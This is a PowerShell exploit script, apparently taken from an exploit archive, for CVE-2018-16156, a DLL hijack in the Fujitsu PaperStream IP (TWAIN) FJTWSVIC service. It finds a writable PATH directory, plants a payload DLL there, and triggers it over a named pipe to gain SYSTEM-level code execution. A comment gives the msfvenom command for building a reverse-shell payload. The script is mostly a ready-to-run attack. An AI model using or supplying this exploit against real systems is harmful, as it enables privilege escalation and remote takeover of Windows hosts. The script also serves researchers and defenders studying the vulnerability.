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## https://sploitus.com/exploit?id=PACKETSTORM:160832
# Exploit Title: PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation  
# Exploit Author: 1F98D  
# Original Author: securifera  
# Date: 12 May 2020  
# Vendor Hompage: https://www.fujitsu.com/global/support/products/computing/peripheral/scanners/fi/software/fi6x30-fi6x40-ps-ip-twain32.html  
# CVE: CVE-2018-16156  
# Tested on: Windows 10 x64  
# References:  
# https://www.securifera.com/advisories/cve-2018-16156/  
# https://github.com/securifera/CVE-2018-16156-Exploit  
  
# A DLL hijack vulnerability exists in the FJTWSVIC service running as part of  
# the Fujitsu PaperStream IP (TWAIN) software package. This exploit searches  
# for a writable location, copies the specified DLL to that location and then  
# triggers the DLL load by sending a message to FJTWSVIC over the FjtwMkic_Fjicube_32  
# named pipe.  
  
$ErrorActionPreference = "Stop"  
  
# Example payload generated as follows  
# msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=eth0 LPORT=4444   
$PayloadFile = "C:\Windows\Temp\UninOldIS.dll"  
  
if ((Test-Path $PayloadFile) -eq $false) {  
Write-Host "$PayloadFile not found, did you forget to upload it?"  
Exit 1  
}  
  
# Find Writable Location  
$WritableDirectory = $null  
$Path = (Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" -Name "PATH").path  
$Path -Split ";" | % {  
try {  
[IO.File]::OpenWrite("$_\x.txt").close()  
Remove-Item "$_\x.txt"  
$WritableDirectory = $_  
} catch {}  
}  
  
if ($WritableDirectory -eq $null) {  
Write-Host "No writable directories in PATH, FJTWSVIC is not exploitable"  
Exit 1  
}  
  
Write-Host "Writable location found, copying payload to $WritableDirectory"  
Copy-Item "$PayloadFile" "$WritableDirectory\UninOldIS.dll"  
  
Write-Host "Payload copied, triggering..."  
$client = New-Object System.IO.Pipes.NamedPipeClientStream(".", "FjtwMkic_Fjicube_32", [System.IO.Pipes.PipeDirection]::InOut, [System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation)  
$reader = $null  
$writer = $null  
try {  
$client.Connect()  
$reader = New-Object System.IO.StreamReader($client)  
$writer = New-Object System.IO.StreamWriter($client)  
$writer.AutoFlush = $true  
$writer.Write("ChangeUninstallString")  
$reader.ReadLine()   
} finally {  
$client.Dispose()  
}  
  
Write-Host "Payload triggered"